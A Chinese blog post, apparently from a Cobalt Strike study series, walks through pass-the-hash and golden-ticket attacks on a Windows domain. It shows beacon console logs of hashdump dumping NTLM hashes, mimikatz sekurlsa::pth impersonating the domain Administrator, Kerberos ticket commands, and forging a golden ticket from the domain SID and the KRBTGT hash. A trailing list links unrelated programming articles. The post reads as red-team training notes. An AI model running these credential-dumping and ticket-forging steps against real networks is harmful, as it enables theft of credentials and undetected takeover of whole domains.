CS学习笔记 | 18、密码哈希散列设置信任
0x00 前言
继续上一节密码哈希的部分,在上一节中讲到了使用密码生成用户的令牌,从而取得系统的信任,这一节将介绍使用密码的哈希值来取得系统的信任。
0x01 密码哈希
首先使用 hashdump
获取用户的密码哈希值,这里的 beacon 会话为 SYSTEM 权限。
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Daniel:1000:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
TeamsSix:1002:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
使用 pth
获取信任
beacon> pth TEAMSSIXAdministrator 12cb161bvca930994x00cbc0aczf06d1
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \.pipe8d3e4c" command
[+] host called home, sent: 750600 bytes
[+] host called home, sent: 71 bytes
[+] Impersonated NT AUTHORITYSYSTEM
[+] received output:
user : Administrator
domain : TEAMSSIX
program : C:Windowssystem32cmd.exe /c echo ade660d8dce > \.pipe8d3e4c
impers. : no
NTLM : 12cb161bvca930994x00cbc0aczf06d1
| PID 2992
| TID 5028
| LSA Process is now R/W
| LUID 0 ; 14812112 (00000000:00e203d0)
_ msv1_0 - data copy @ 0000000001794E80 : OK !
_ kerberos - data copy @ 000000000044A188
_ aes256_hmac -> null
_ aes128_hmac -> null
_ rc4_hmac_nt OK
_ rc4_hmac_old OK
_ rc4_md4 OK
_ rc4_hmac_nt_exp OK
_ rc4_hmac_old_exp OK
_ *Password replace @ 00000000017DA1E8 (16) -> null
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssixadministrator
0x02 Kerberos 票据
关于 Kerberos 的介绍可以查看知乎上的一篇文章,比较形象生动,文章地址:https://www.zhihu.com/question/22177404
查看有哪些 Kerberos 票据
shell klist
除去 kerberos 票据
kerberos_ticket_purge
加载 kerberos 票据
kerberos_ticket_use [/path/to/file.ticket]
0x03 黄金票据
黄金票据 Golden Ticket
是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动。
使用 mimikatz 伪造黄金票据需要:
1、目标的用户名及域名
2、域的 SID 值
域的 SID 值即安全标识符 Security Identifiers
,使用 whoami /user
命令可查看,注意不需要 SID 最后的一组数字。
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:
用户信息
----------------
用户名 SID
============= ============================================
teamssixdaniel S-1-5-21-5311978431-183514165-284342044-1000
因为不需要 SID 最后一组数字,所以这里要使用的 SID 值也就是 S-1-5-21-5311978431-183514165-284342044
3、DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Cobalt Strike 在 Access -> Golden Ticket
中可以打开生成黄金票据的界面。
信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN Fully Qualified Domain Name 完全合格域名
格式,即类似于 teamssix.com 的格式。
此时可以通过 shell dir \hostC$
检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes
[+] received output:
teamssixadministrator
原文链接:https://www.teamssix.com/year/200419-150630.html 参考链接: https://www.bilibili.com/video/BV16b411i7n5 https://www.varonis.com/blog/kerberos-how-to-stop-golden-tickets/
往期推荐
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 终极解密输入网址按回车到底发生了什么
- Kafka核心原理的秘密,藏在这 17 张图中
- 国庆肝了8天整整2W字的数据库知识点
- MySQL事务与MVCC如何实现的隔离级别
- 1.5w字,30图带你彻底掌握 AQS!
- 原创 | codeforces 1419D2,有趣的思维题
- 如何实现四元数的运算
- 最牛一篇布隆过滤器详解
- 编写一个IDEA插件之:开发环境准备那些坑
- 编写一个IDEA插件之:使用PSI分析Java代码
- 编写一个IDEA插件之:自动生成Java代码
- 编写一个IDEA插件之:事件监听
- 重新加载故障节点上的 Ceph 卷
- 一个Spring Bean从诞生到逝去的九次人生转折!
- 原创 | 详解git rebase,让你走上git大神之路